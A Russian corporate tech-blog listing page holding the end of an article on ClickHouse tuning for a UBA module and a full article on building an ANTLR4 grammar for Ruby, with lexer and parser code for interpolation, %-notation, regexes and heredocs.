Идем дальше. Основную работу делает UBA-сервер, который мы писали на Clojure. Он обрабатывает данные, лежащие в ClickHouse, и производит расчеты. UBA-сервер запоминает последнюю дату для обработанных данных и периодически проверяет, есть ли в ClickHouse более свежие данные, чем в расчете. Если есть, то старые результаты удаляются и производится перерасчет.

Еще один компонент системы модуль Indexer, написанный на Scala. Он умеет работать с разными источниками данных. В случае с UBA у Indexer две задачи. Первая вытаскивать метаданные писем пользователей из основной БД и отправлять их в ClickHouse. Вторая выступать механизмом буферизации и грузить данные пачками. Когда перейдем к подробностям работы с ClickHouse, я расскажу об этом подробнее.

Для визуализации информации мы активно используем Grafana как при разработке, так и при добавлении новых фич в готовый продукт. Конечно, мы хотим перетащить все в свой интерфейс, но пока от этой палочки-выручалочки отказаться сложно. На некоторые графики в Grafana мы потратим пару часов, а разработчику понадобилась бы неделя, чтобы сделать то же самое стандартными средствами. Обычно это непозволительная роскошь. Поэтому, если дизайнеры не очень сильно придираются к цвету графика или ширине надписи, Grafana это спасение, ведь время у разработчиков расписано по минутам. Хотя это дополнительный софт, и в случае с некоторыми нашими клиентами иногда все упирается в сертификацию.

Сейчас вокруг ClickHouse появляются дополнительные средства разработки. В частности, мы используем Metabase это удобное средство прототипирования и быстрого моделирования расчетов.

Скорость. Я скорость!

Сначала несколько слов о том, какими критериями мы руководствовались, выбирая СУБД для UBA-модуля. Нас интересовали:

стоимость лицензии;
скорость обработки;
минимальный объем хранения;
скорость разработки;
минимальное администрирование;
минимальные требования к железу.

По первым четырем пунктам ClickHouse уверенно обошел конкурентов, и мы остановились на нем. Поговорим о главном преимуществе ClickHouse, ну, кроме того, что он бесплатный :-)

Скорость, скорость и еще раз скорость. Это главное, почему мы взяли его на борт. С ClickHouse вы сможете обрабатывать миллион записей в секунду на относительно скромных мощностях. Традиционные базы для такого требуют куда более серьезного железа. Скорость работы объясняется несколькими причинами:

Принципиально иной метод хранения данных ClickHouse делает их компрессию, архивирует и хранит по колонкам. Соответственно, нагрузка на диск снижается.
В ClickHouse распараллеливание задач на несколько потоков не требует дополнительных усилий. СУБД использует все доступные процессоры сервера без вмешательства админа. Если в случае с традиционной базой для этого придется серьезно заморочиться, то ClickHouse делает это по умолчанию. Нам, наоборот, приходится его ограничивать, чтобы остальным сервисам что-то осталось.
ClickHouse использует специальные инструкции процессора SSE, AVX, благодаря чему быстро перелопачивает большие объемы данных в оперативке. Тут логика простая: будучи созданным недавно, ClickHouse рассчитан на новое железо и его новые возможности.

Благодаря этому UBA-модуль может быстро строить аналитику по сообщениям пользователя и искать отклонения. В традиционных базах данных несколько миллионов записей будут обрабатываться достаточно долго, в ClickHouse при правильно написанном запросе это можно сделать за секунды.

ClickHouse дает преимущества и на этапе разработки благодаря его быстроте мы можем постоянно проводить эксперименты по обработке данных и проверять гипотезы. И не тратим на это кучу времени.

Какую сборку выбрать

ClickHouse разработали в Яндексе изначально для своих нужд. Но тогда собственные сборки они не выпускали. Это делала сторонняя иностранная компания Altinity.

Многие наши заказчики российские компании, поэтому нам такой вариант не очень подходил, и мы стали собирать ClickHouse сами. Брали исходный код от Яндекса и генерили бинарные пакеты. Сказать, что были сложности, значит, ничего не сказать. Приключений хватало, на них тратилась куча ресурсов и времени. И при этом мы получали утечку памяти, которой в сборках от Altinity не было. По мере работы ClickHouse потреблял все больше памяти. В результате она кончалась, и тот падал. Поэтому мы решили уйти от самостоятельной сборки. Теперь проще есть бинарники от самого Яндекса, в крайнем случае можно взять вариант от Altinity.

Обновления выходят довольно часто, но с ними нужно быть осторожными. В каждой новой версии ClickHouse есть новые фишки, исправления, но, как следствие, и новые баги. Разработчики Яндекса не очень переживают, если новая версия может привести к проблемам с совместимостью. Да, для нас это проблема, а они могут не заморачиваться и добавлять новые функции, исходя из своих потребностей и не тестируя все возможные сочетания функций. Но по мере внедрения ClickHouse в большем количестве крупных компаний отношение разработчиков Яндекса к клиентам постепенно смягчается.

Изначально ClickHouse был NoSQL-СУБД, но теперь он понимает SQL. Это тоже добавило нам немного проблем. Мы использовали прежний вариант, а потом некоторые старые команды поменяли свой смысл. (Оффтоп: лучше не забывать выносить код SQL-запросов из основного кода приложения. Иначе потребуется доработка исходника при самых тривиальных изменениях. Если этого не сделать на этапе разработки, то в нашем случае при необходимости исправить тот или иной запрос у клиента придется ждать выхода новой версии продукта).

Поэтому при обновлении мы берем недавнюю версию и начинаем на ней тестироваться. И если ошибки возникают, мы можем поискать более новую или более старую версию, где их не будет. Из-за этого процесс затягивается. В любом случае тестируйте свой код при обновлении ClickHouse, даже если оно минорное. Тут нужно соотносить выгоду от новых фишек с рисками и с объемом тестирования.

Эгоист и альтруист одновременно

С традиционными базами данных история простая: настроили использовать 20 Гб памяти они будут их использовать и никому не отдадут. С ClickHouse все иначе. Резервировать память под него не получится. Он будет использовать все, что найдет. Но и умеет делиться ClickHouse отдает память, если в данный момент она ему не нужна. С одной стороны, эта особенность позволяет нам развернуть на одной машине несколько сервисов. А с другой стороны, нам приходится ограничивать ClickHouse, так как другие модули Solar Dozor тоже хотят кушать, а он делится памятью только тогда, когда самому не надо. Поэтому прописываем такие параметры:

<max_memory_usage>

<max_memory_usage_for_user>

<max_memory_usage_for_all_queries>



<max_bytes_before_external_sort>

<max_bytes_before_external_group_by>

Число потоков max_threads также влияет на потребление. Поэтому можно поколдовать и с этим параметром. Он определяет параллельность работы ClickHouse. Если уменьшим ее в два раза, то и потребление памяти при параллельных операциях тоже снизится в два раза.

Как я уже сказал, обычно клиент выделяет нам под Solar Dozor одну машину, на ней, кроме UBA, установлены и все остальные модули. Поэтому у истории с бескорыстным ClickHouse есть и обратная сторона. Другой софт может сожрать всю отданную память, и тому уже ничего не достанется, придет OOM Killer. Конечно, было бы хорошо резервировать под ClickHouse определенный объем памяти, но пока такой функции нет.

О правильном секционировании и удачной сортировке

Мы секционировали табличку с метаданными сообщений (кто, кому, когда, с какой темой, какие вложения, размер) по дням. Вообще, для ClickHouse это очень мелкое дробление, но у нас большой объем данных. Поэтому в наших условиях день это оптимальная единица и с точки зрения структуры данных, и с точки зрения администрирования системы.

Таблицу расчетов мы секционировали по месяцам. Понятно, что их объем меньше, чем объем самих данных, поэтому тут агрегация по месяцам удобнее.

Общее правило простое: не нужно делать слишком много секций, даже если кажется, что ваш случай точно требует мелкого дробления данных. Больше секций больше файлов на диске, а значит, операционная система будет тупить. Если нам нужно что-то быстро отобразить в интерфейсе, вытаскивать большой объем данных из одного файла быстрее, чем из множества.

С сортировкой своя история. Данные столбца физически хранятся в отдельном файле в сжатом виде в порядке, указанном в параметре сортировки. При хорошем сжатии файл получается небольшим, и чтение с диска занимает минимальное время. Если данные отсортировать правильно, то одинаковые значения будут храниться рядом, а алгоритмы компрессии ClickHouse хорошо сожмут их. Данные всех столбцов должны быть физически отсортированы в одном и том же порядке. Поэтому, если в таблице много столбцов, надо выбирать, по какому набору столбцов нужно сделать сортировку. Если скомпоновать и сжать эти данные неправильно, интерфейс или пакетная обработка будут тормозить.

И несколько слов о запросах. Их условия должны содержать поле секционирования. Оптимизатор запросов в ClickHouse пока далек от того, что есть в других базах (например, PostgreSQL и Oraсle). Он не понимает зависимости данных между столбцами. Чтобы минимизировать объемы данных, считываемых с диска, нужно явно указывать, какие диапазоны данных нужны для запроса. Условие запроса для этого должно содержать границы данных по условию секционирования. В идеале чтобы каждый запрос доставал данные из одной секции, то есть указываем: сходи в конкретный день и ищи только там.

К архитектурному решению, как мы будем разбивать и сжимать данные, нужно отнестись ответственно. Потому что потом, когда у клиента уже появляется какое-то количество записей в определенном формате, что-то изменить очень сложно. Ведь данные хранятся в архивированном виде, то есть, чтобы их перелопатить, нужна переупаковка.

Любитель есть большими порциями

Если до этого вы работали только с традиционными базами данных, придется перестраиваться. С ClickHouse не прокатит каждый раз вставлять по строчке: он не любит частых вставок. Если у нас много источников данных и каждый вставляет по одной строчке, то ClickHouse становится плохо. То есть, например, он выдерживает 100 вставок в секунду. Вы спросите: Как же так? 100 вставок и все?.. А где же миллион в секунду, о котором говорили? Оказывается, ClickHouse сделан так, что он может пережить 100 вставок в секунду, а в каждой вставке при этом 10 000 строк. Вот вам и тот самый миллион.

Вообще, для себя мы выработали правило: данные нужно вставлять не чаще чем раз в 10 секунд. Так мы получаем необходимую скорость и стабильную работу.

Но нужна промежуточная буферизация, которая накопит этот миллион. Этим у нас как раз занимается Indexer, который я уже упоминал.

В Clickhouse есть такая фишка, как буферные таблицы, но это полумера. С одной стороны, они позволяют волшебным образом исправить ситуацию с частыми вставками без переделки серверного кода. На нашем железе в буферную таблицу можно вставлять в 10 раз чаще, чем в обычную. Но при этом память приходится распределять вручную. Для каждой буферной таблицы нужно назначить заранее определенное число и размер буферов. И использовать эту память под что-то другое будет нельзя. Хорошо бы угадать с этими параметрами сразу, иначе эти таблицы придется пересоздавать.

Поэтому самый правильный вариант буферизация в приложении, что мы и сделали на этапе разработки. Несмотря на эти танцы с бубном, оно того стоит: в традиционной базе данных вставить даже 1000 строк в секунду, скорее всего, не получится даже на очень хорошем железе.

Про мутации

В самых первых версиях ClickHouse не было команд изменения данных. Можно было загрузить табличку и удалить. Потом добавили механизм изменения данных, который называется мутацией. И это еще одна штука, которую нужно понять и принять.

В традиционных базах данных вставил строчку, удалил строчку сразу видишь результат. Тут все иначе. В ClickHouse пишешь команду удаления, она ставится в очередь мутаций, и через некоторое время будет выполнена. То есть по факту это выглядит так: вот данные есть, и сейчас они еще есть, до сих пор есть, а теперь раз и исчезли. Данные могут измениться в любой момент и по другой причине: например, в результате оптимизации или дедупликации число строк может уменьшиться. В ClickHouse нет физических первичных и уникальных ключей. Поэтому в таблицах всегда есть дубли (а если нет, то будут). Данные могут никогда не схлопнуться и/или никогда не дедуплицироваться. Кстати, опция FINAL не работает, если есть незаконченные мутации.

За скорость приходится платить дополнительными телодвижениями разработчиков в коде надо предусмотреть обработку задержек на выполнение мутации, чтобы пользователя это никак не коснулось. В частности, нужно писать код (запросы, логику обработки данных) так, чтобы не падать, если данные не соответствуют идеальному представлению о них.

У нас исходные данные, которые хранятся в ClickHouse, не удаляются и не меняются (за исключением добавления новых данных и удаления старых по партициям). Меняются только расчеты. Мы пересчитываем результаты при появлении новых данных, и у нас могут измениться алгоритмы расчетов при установке новой версии. Все это не требует построчных изменений в данных (операции update и delete). Поэтому в нашем случае очень длинных очередей мутаций не бывает.

Не злоупотребляйте словарями

В ClickHouse есть такой интерфейс словари, куда можно положить любую команду, которая вытащит список из какого-то источника. Например, если нужно залезть во внешний файл со списком сотрудников организации или в Active Directory.

Словари нужны для таких меняющихся данных, как должность, телефон, семейное положение сотрудника и т. п. Если их корректное отображение критично, то словарь необходим. Все, что не меняется, нужно класть в обычные таблицы ClickHouse. Наиболее удобным для нас оказался словарь в JSON, получаемый через http-запрос, самый естественный и самый надежный. Пишем команду сходить на такой-то сервер и взять то, что нам нужно.

В других БД все это сделать сложнее, надо писать специальную программу, которая будет доставать списки из внешних источников. В ClickHouse никаких дополнительных действий не нужно. Он достанет данные из внешнего источника и будет работать с ними как с таблицей.

Словари нужно создавать, поддерживать, дебажить. Но надо помнить, что каждый словарь дополнительная зависимость от внешнего источника и потенциальное место возникновения проблемы, если при запросе окажется, что с источником что-то не так.

Как повысить надежность?

В отличие от традиционных баз данных ClickHouse не гарантирует сохранность всех данных на все 100%. Вообще, для решения этой задачи существуют специальные механизмы транзакций, откатов изменений и восстановления после сбоев. В ClickHouse все это либо не реализовано, либо сделано в минимальном объеме. Это тоже своего рода плата за скорость. Впрочем, если сильно заморочиться, то можно повысить надежность. Но придется строить кластер систему из нескольких серверов, на которые мы установим ClickHouse и сервис для распределенных систем ZooKeeper. Будем делать бэкапы, репликацию данных. Очевидно, что это потребляет дополнительные ресурсы, место на дисках, производительность и т. д.

Тут надо обратить внимание на три момента.

Проектирование
Если спроектировать кластер неправильно, отказ любого компонента может привести к отказу всего кластера. В каждом конкретном случае выбор схемы будет разным. И нужно понимать, от каких аварий конкретная схема защищает, а от каких нет. Но это тема для отдельной статьи.
Обслуживание
Все процедуры надо четко описать и протестировать. Ну и вообще, не забывать про золотое правило: работает не трогай!
Тестирование изменений на идентичном стенде
Любые изменения и обновления надо проверять не на уже работающей системе, а на тестовой. Потому что, если что, смотри пункт 2.

В общем, средства повышения надежности совершенно точно понижают производительность, а если накосячить, то и саму надежность.

Нам пока не приходилось сталкиваться с таким запросом от заказчика. Но когда-то это наверняка произойдет, и мы готовимся к такому варианту.

В любом случае тут все упирается в ваши возможности: стоимость железа, сетевой инфраструктуры, обучения персонала и т. д. нужно соизмерять с реальными потребностями в высокой доступности. Если таких ресурсов нет, может быть, повышенная надежность не так уж и нужна? Понятно, что ClickHouse история не про банковские или другие критичные данные.

И напоследок: проверьте железо заранее

Казалось бы, железо без SSE 4.2 сейчас почти не встретить. Но однажды нам достался мощнейший сервер с процессором, который эти инструкции не поддерживает. А для ClickHouse поддержка SSE 4.2 одно из системных требований. Оказалось, что закончился старый проект, железо хорошее, не выбрасывать же.

Яндекс рекомендует выделять под ClickHouse отдельный сервер как минимум с 30 Гб оперативки. В наших условиях никто не даст под БД отдельное железо. Как я уже говорил, на одном сервере у заказчиков крутится весь Solar Dozor со всеми его модулями и их компонентами. Но, если все настроить правильно, полет пройдет нормально.

В общем, в нашем случае ClickHouse оказался хорошей альтернативой традиционным СУБД. Ему не нужны серьезные мощности, чтобы показывать впечатляющие результаты. ClickHouse делает более удобным процесс разработки, но к нему нужно привыкнуть, подружиться с его особенностями и реально оценивать уровень его возможностей.

Автор: Леонид Михайлов, ведущий инженер отдела проектирования Solar Dozor

Подробнее..

Категории: It-инфраструктура , Sql , Администрирование баз данных , Big data , Софт , Grafana , Сортировка , Словари , Блог компании ростелеком-солар , Clickhouse , Субд , Буферизация , Indexer , Секционирование таблиц , Мутации

Сложности работы с ANTLR пишем грамматику Ruby

04.08.2020 10:19:03 |

Автор: admin

В Ростелеком-Солар мы разрабатываем статический анализатор кода на уязвимости и НДВ, который работает в том числе на деревьях разбора. Для их построения мы пользуемся оптимизированной версией ANTLR4 инструмента для разработки компиляторов, интерпретаторов и трансляторов.

В репозитории можно найти грамматики множества языков программирования. Однако в нем отсутствует грамматика Ruby, которую, по всей видимости, никто так и не реализовал. Есть только грамматика похожего самодельного языка, парсящая лишь простейшие случаи. Это неудивительно, ведь грамматику Ruby сложно реализовать, так как язык обладает нетривиальным синтаксисом. Но она очень пригодилась бы тем, кто, например, захочет написать свой язык и задумается, как это сделать. Или тем, кому нужно решить технические сложности, рассмотренные в нашей статье. Ну что же придется писать новую грамматику, чем прямо здесь и займемся.

В ANTLR предлагается разбивать анализ языка на лексер и парсер.

Лексер занимается тем, что формирует токены на основе заданных последовательностей символов из алфавита языка. Если последовательность символов подходит под определение нескольких токенов, выбирается наидлиннейший, а среди таких первый по приоритету (который задается порядком записи).

Парсер формирует предложения (законченные команды) языка с помощью токенов (также называемых терминальными символами), получаемых из лексера.

В целом написание грамматики не отличается от других языков. Научиться можно с помощью авторской книги, документации или по многочисленным туториалам вроде этого.

В данной статье будет опущена базовая реализация и будут рассмотрены лишь технические сложности написания.

Проблемы лексера

В общем и целом, единственная возможная проблема, возникающая в лексере, это выдача валидного токена по последовательности символов и сопутствующие этому препятствия.

Интерполяция

Некоторые строки в Ruby допускают интерполяцию вставку произвольного кода внутрь с помощью синтаксиса #{code}. Например:

a = 3"Hello #{if a%2==1 then "Habr!" else "World!" end}"

Справляться будем с помощью режимов специфичных маленьких лексеров, предназначенных под определенную задачу, вроде нашего парсинга строки:

DoubleQuote: '"' {++nestedStringLevel;}    -> pushMode(InterpolationString);

На каждом уровне вложенности нужно поддерживать число открытых скобок из-за ситуаций вида (выйти из интерполяции нужно на 2-й закрывающей фигурной скобке):

"Kappa #{    buf = ''    [1, 2, 3].each { |x| buf += x.to_s }    buf}"

Для этого заведем стек openedCurlyBracesInsideString. Итого внутри мода имеем токен:

StartInterpolation: '#{' {openedCurlyBracesInsideString.push(0);}    -> pushMode(DEFAULT_MODE);

Теперь же нужно вовремя выйти из обычного режима (DEFAULT_MODE), для этого добавим код в токены:

OpenCurlyBracket:             '{' {    if (nestedStringLevel > 0 && !openedCurlyBracesInsideString.empty()) {        final int buf = openedCurlyBracesInsideString.pop();        openedCurlyBracesInsideString.push(buf + 1);    }};CloseCurlyBracket:            '}' {    if (nestedStringLevel > 0 && openedCurlyBracesInsideString.peek() <= 0) {       popMode();       openedCurlyBracesInsideString.pop();    } else {        if (!openedCurlyBracesInsideString.empty()) {            final int buf = openedCurlyBracesInsideString.pop();            openedCurlyBracesInsideString.push(buf - 1);        }    }};

%-нотации

В Ruby существует вдохновленный Perl дополнительный синтаксис написания строк, массивов строк и символов (который в Ruby не является символом в обычном понимании), регулярных выражений и шелл-команд. Синтаксис таких команд таков: %, следующий за ним опциональный идентификатор типа и символ-разделитель. Например: %w|a b c| массив из трех строк. Однако, также можно использовать в качестве разделителя парные скобки:

{} [] ()
<>

. Просто задать все возможные идентификаторы не выйдет тогда, например, последовательность

q = 35%q

будет распознаваться некорректно. Лексер просто съест самую длинную цепочку символов, создав токен %q.

Создав проверку на отсутствие явно невалидного разделителя вроде пробельного символа, цифры и буквы и добавив её в токен в качестве предиката (условие, которое обязано выполняться в определенном месте для продолжения конструирования токена),

StringArrayConstructorwToken: '%w' {canBeDelimiter()}?;

получаем защиту, работающую почти всегда (об этом далее). Так же добавим ожидание соответствующего разделителя в зависимости от альтернативы.

StartArrayConstructorNotInterpolated    : StringArrayConstructorwToken ( Brackets {setPairDelimiter();} | ~[(<{[] {setCharDelimiter();} ) {startStringMode(ArrayConstructorw);}fragment Brackets: '(' | '[' | '{' | '<';

где startStringMode utility-функция для переключения режима и поддержки вложенности.

public void startStringMode(final int mode) {    pushMode(mode);    ++nestedStringLevel;}

Контрпример: 5%q|1 парсящийся корректно лишь в контексте парсера, когда известно, что после 5-ти задания строки быть не может.

Можно было бы подумать, что достаточно найти парный разделитель с помощью заглядывания вперед, однако и на такой случай есть пример 5%q|1|1. Откуда становится ясно, что при разделении на лексер и парсер подобный случай распарсить невозможно.

Однако такое случается очень редко, так что сойдет \_()_/. Внутри режима же просто ждем разделитель.

ArraywWhitespace: WhitespaceAll                           -> skip;ArraywText:       ({!isDelimiter()}? ArraywTextFragment)+ -> type(StringPart);ArraywEnd:        . {nestedStringLevel--;}                -> type(HereDocEnd), popMode;

где type изменяет тип создаваемых токенов для удобства.

Деление или начало регулярного выражения

Синтаксис регулярного выражения таков /regexp/ (а также вышеупомянутая нотация с процентом). Возникает такая же проблема контекста парсера, как и в предыдущем пункте, для её смягчения создаем проверку

public boolean canBeRegex() {    return isPrevWS && " \t\r\u000B\f\b\n".indexOf((char) _input.LA(1)) == -1 || isPrevNL || isOp || prevNonWsType == StartInterpolation;}

и добавляем в токен

Divide:                       '/' {    if (canBeRegex()) {        startHereDoc(RegExp);    }};

Для пересчета переменных isOp, isPrevNL, isPrevWS также переопределяем emit-функцию итогового создания токена

@Overridepublic void emit(final Token token) {    final String txt = token.getText();    final int type = token.getType();    isPrevNL = type == NL;    isPrevWS = type == WS;    if (!isPrevWS && !isPrevNL && type != SingleLineComment && type != MultiLineComment) {        isOp = OPERATORS.contains(type);        prevNonWsChar = txt.charAt(txt.length() - 1);        prevNonWsType = type;    }    super.emit(token);}

где OPERATORS hashmap всех операторов.

Проблемы парсера

Пробельные символы

Довольно неприятным сюрпризом стало влияние пробелов на парсинг. Обычно они никак не сказываются на грамматике и просто-напросто удаляются из потока с помощью -> skip или перевода в другой канал. Однако ряд языков все же различает некоторые конструкции с их помощью.

Так, например, a+3 и a + 3 не могут быть вызовом функции без скобок, а а +3 может. Поэтому все правила парсера выглядят так (NL newline, WS whitespace):

    | expression WS* op=('+' | '-') (NL | WS)* expression

Для смягчения проблемы, напишем listener , который будет чистить нам дерево разбора от подобного мусора.

public class RemovingTokensListener implements ParseTreeListener {        private List<Integer> unwantedTokens;        ...        @Override        public void visitTerminal(final TerminalNode node) {            if (this.unwantedTokens.contains(node.getSymbol().getType())) {                ((ParserRuleContext) node.getParent().getRuleContext()).removeLastChild();            }        }}

Heredoc Лексер и парсер

Специальный синтаксис задания многострочных строк. Может быть таким

<<STRcontent line 1content line 2STR

или даже таким (интересно, что markdown не распознает синтаксис корректно).

value = 123print <<STR_WITH_INTERPOLATION, <<'STR_WITHOUT_INTERPOLATION'.stripcontent 1 and #{value}STR_WITH_INTERPOLATION     content 2 and #{value}STR_WITHOUT_INTERPOLATION

Проблема заключается в том, что нужно понимать, где заканчивается строка, а также было бы удобно знать, какой контент относится к какой строке. Для этого сначала создадим лист ожидающих парсинга heredoc-ов (парсер в зависимости от контекста и режима может подгружать произвольное число токенов вперед)

public final HeredocsHolder HEREDOCS = new HeredocsHolder();public static final class HereDocEntry {    public final String name;    public final HereDocType type;    public final boolean isInterpolated;    public int partsNumber;    public HereDocEntry(final String name, final HereDocType type, final boolean isInterpolated) {        this.name = name;        this.type = type;        this.isInterpolated = isInterpolated;        this.partsNumber = 0;    }}public static final class HeredocsHolder {    public final List<HereDocEntry> entries;    public int toProcess;    HeredocsHolder() {        this.entries = new ArrayList<>();        this.toProcess = 0;    }}

и будем добавлять их по мере поступления

StartHereDoc    : HereDocToken HereDocName {        heredocIdentifier = getHeredocIdentifier('\'');        setText(getText().trim());        keepHereDoc(HereDoc, false);    }    ;

public void keepHereDoc(final int mode, final boolean isInterpolated) {    HEREDOCS.entries.add(new HereDocEntry(heredocIdentifier, getHereDocType(), isInterpolated));    ++HEREDOCS.toProcess;    isFirstNL = true;}

Далее, увидев конец строки при ожидающих обработки heredoc-ах, вызовем функцию обработки.

NL:                           '\n' {    final int next = _input.LA(1);    if (HEREDOCS.toProcess > 0 && isFirstNL) {        startHereDocRoutine();        isFirstNL = false;        insideHeredoc = true;    }};

Сама функция обработки приведена ниже: здесь обрабатываем лишь последние heredoc-и (лексер мог уйти вперед, однако парсер в таком случае еще не поглотил токены, так что сохраняем информацию)

public void startHereDocRoutine() {    final int stopIdx = HEREDOCS.entries.size() - HEREDOCS.toProcess;    for (int i = HEREDOCS.entries.size() - 1; i >= stopIdx; --i) {        if (HEREDOCS.entries.get(i).isInterpolated) {            pushMode(HereDocInterpolated);        } else {            pushMode(HereDoc);        }    }    nestedStringLevel += HEREDOCS.toProcess;    currentHeredocIt = HEREDOCS.entries.listIterator(HEREDOCS.entries.size() - HEREDOCS.toProcess);    currentHeredoc = currentHeredocIt.next();}

Нужно перезаписать nextToken для выхода из режима и подсчета числа токенов каждого heredoc-а

@Overridepublic Token nextToken(){    final CommonToken token = (CommonToken)super.nextToken();    final int ttype = token.getType();    if (insideHeredoc && ttype == StartInterpolation) {        ++heredocTokensCount;    }    if (_mode == HereDoc || _mode == HereDocInterpolated) {        if (ttype == VarName) {            ++heredocTokensCount;        } else if (ttype == StringPart) {            ++heredocTokensCount;            final String txt = token.getText();            if (CheckHeredocEnd(txt)) {                token.setText(txt.trim());                token.setType(HereDocEnd);                nestedStringLevel--;                popMode();                currentHeredoc.partsNumber = heredocTokensCount;                if (currentHeredocIt.hasNext()) {                    currentHeredoc = currentHeredocIt.next();                }                heredocTokensCount = 0;                --HEREDOCS.toProcess;                if (_mode == DEFAULT_MODE) {                    insideHeredoc = false;                }            }        }    }    return token;}

Теперь займемся парсером.

С помощью @parser::members добавим в парсер: ссылку на лексер, узлы строк, куда будем переносить их контент, число узлов интерполяции (по аналогии с heredocTokensCount лексера), а также стек statement-ов с указанием необходимости обработки.

    private final RubyLexer lexer = (RubyLexer)_input.getTokenSource();    private final List<ParserRuleContext> CONTEXTS = new ArrayList<>();    private final List<Integer> heredocRulesCount = new ArrayList<>();    private final Stack<StatementEntry> statements = new Stack<>();    private static final class StatementEntry {        public boolean needProcess;        public int currentHeredoc;        StatementEntry() {            this.needProcess = false;            this.currentHeredoc = 0;        }    }

Модифицируем непосредственно единицу кода:

statement@init {    statements.push(new StatementEntry());}@after {    if (statements.peek().needProcess) {        processHeredocs($ctx);    }    statements.pop();}    : statementWithoutHeredocTail ({statements.peek().needProcess}? interpolatedStringPart* HereDocEnd {++statements.peek().currentHeredoc;})*    ;

@init код, который исполняется при входе парсера в правило, @after при выходе.

Стек необходим для отнесения heredoc-ов к нужному statement-у, т.к. внутри интерполяции могут быть новые.

Для того, чтобы правильно распознать случаи, где heredoc может быть обычным expression и где строку можно считать токенами подряд, а также сложные кейсы, когда конец строки будет лежать за текущим выражением, пишем такой вот код парсера:

string:...    | StartInterpolatedHereDoc (memberAccess* WS* NL interpolatedStringPart* HereDocEnd)? {        if ($ctx.HereDocEnd() == null) {            CONTEXTS.add($ctx);            heredocRulesCount.add(0);            statements.peek().needProcess = true;        } else {             lexer.HEREDOCS.entries.remove(0);        }    }...

Для самого же подсчета узлов интерполяции модифицируем код правила с контентом строки (+ 2 здесь нужно для подсчета токенов, открывающих и закрывающих интерполяцию)

interpolatedStringPartlocals[int nodesCount = 0]    : StringPart    | VarName    | StartInterpolation (WS* statement {++$nodesCount;})* (WS* rawStatement {++$nodesCount;})? WS* '}' {        final int cur = statements.peek().currentHeredoc;        if (cur < heredocRulesCount.size()) {            heredocRulesCount.set(cur, heredocRulesCount.get(cur) + $nodesCount + 2);        }    }    ;

где locals список локальных переменных (ссылаться на них нужно через $), а пробельные токены не считаются, т.к. удаляются во время построения дерева нашим listener-ом.

Теперь напишем саму функцию processHeredocs. Посчитаем, сколько узлов предстоит забрать

int heredocNodesCount = 0;for (int i = 0; i < CONTEXTS.size(); ++i) {    heredocNodesCount += lexer.HEREDOCS.entries.get(i).partsNumber;    heredocNodesCount += heredocRulesCount.get(i);}

Начиная с какого ребенка, начнем перекидывать контент строк по своим местам

int currentChild = ctx.getChildCount() - heredocNodesCount;

Подвесим контент к соответствующему узлу

for (int i = 0; i < CONTEXTS.size(); ++i) {    final RubyLexer.HereDocEntry entry = lexer.HEREDOCS.entries.remove(0);    final ParserRuleContext currentContext = CONTEXTS.get(i);    final int currentNodesCount = entry.partsNumber + heredocRulesCount.get(i);    for (int j = 0; j < currentNodesCount; ++j, ++currentChild) {        final ParseTree child = ctx.getChild(currentChild);        if (child instanceof TerminalNode) {            ((TerminalNodeImpl) child).setParent(currentContext);            currentContext.addChild((TerminalNodeImpl) child);        } else if (child instanceof ParserRuleContext) {            ((ParserRuleContext) child).setParent(currentContext);            currentContext.addChild((ParserRuleContext) child);        } else {            // parser failed            clear();            return;        }    }}

Очищаем сам узел, контексты heredoc-ов и список числа узлов интерполяции

for (int i = 0; i < heredocNodesCount; ++i) {    ctx.removeLastChild();}clear();

private void clear() {    CONTEXTS.clear();    heredocRulesCount.clear();}

Последним штрихом можно удалить ненужное промежуточное правило для обработки heredoc-ов statementWithoutHeredocTail, переподвешивая детей узла к его предку, с помощью того же listener-а

public class RemovingRulesListener implements ParseTreeListener {    private List<Integer> unwantedRules;    ...    @Override    public void exitEveryRule(final ParserRuleContext ctx) {        if (this.unwantedRules.contains(ctx.getRuleIndex())) {            final ParserRuleContext parentCtx =                    (ParserRuleContext) ctx.getParent().getRuleContext();            parentCtx.children.remove(ctx);            ctx.children.forEach(                    child -> {                        if (child instanceof RuleContext) {                            ((RuleContext) child).setParent(parentCtx);                            parentCtx.addChild((RuleContext) child);                        } else if (child instanceof TerminalNode) {                            ((TerminalNodeImpl) child).setParent(parentCtx);                            parentCtx.addChild((TerminalNodeImpl) child);                        }                    }            );        }    }}

Ambiguity

Нерешенной проблемой стало различение вызовов функций и, например, обычного сложения (а также символа любой одновременно унарной и бинарной операции), что может быть решено лишь с помощью символьных таблиц в рантайме.

Суть заключается в том, что при входе a +a +a +a... на каждом шаге может быть как обычное сложение, так и вызов функции без аргументов (хотя и в таком случае Ruby требует отсутствия пробела после знака у первого аргумента), отчего по всей видимости возникает экспоненциальный рост хождений по графу предсказаний.

Однако просто-напросто запретить ANTLR пробел после унарного оператора в контексте не выйдет придется вручную переписывать леворекурсивный expression, разрешаемый автоматически для случая без аргументов. Полагаясь на то, что никто не пишет более тридцати слагаемых без причины, данная проблема отпадает.

Заключение

Экспериментально данная грамматика может распарсить 99% файлов.

Так, aws-sdk-ruby, содержащий 3024 ruby-файла, падает лишь на семи, fastlane, содержащий 1028, на 2-x, а Ruby on Rails c 2081, на 19-ти.

Однако все же есть принципиально бОльные моменты вроде heredoc-ов, входящих в expression

option(:sts_regional_endpoints,  default: 'legacy',  doc_type: String,  docstring: <<-DOCS) do |cfg|Passing in 'regional' to enable regional endpoint for STS for all supportedregions (except 'aws-global'), defaults to 'legacy' mode, using global endpointfor legacy regions.  DOCS  resolve_sts_regional_endpoints(cfg)end

или используемых как выражения, любых типов блоков

def test_group_by_with_order_by_virtual_count_attribute    expected = { "SpecialPost" => 1, "StiPost" => 2 }    actual = Post.group(:type).order(:count).limit(2).maximum(:comments_count)    assert_equal expected, actualend if current_adapter?(:PostgreSQLAdapter)

Надеюсь, приемы, описанные в статье, помогут вам справиться с трудностями вашей грамматики. Если считаете, что какую-то из проблем можно решить лучше добро пожаловать в комментарии.

Автор: Федор Усов, разработчик Solar appScreener

Подробнее..

Категории: Ruby , Совершенный код , Софт , Компиляторы , Блог компании ростелеком-солар , Грамматики , Antlr , Интерпретаторы , Трансляторы , Лексер , Парсер , Интерполяция

Take a bite и Команда Тигров опыт применения Agile-методов для решения непонятных задач и создания больших фич

25.03.2021 10:19:47 |

Автор: admin

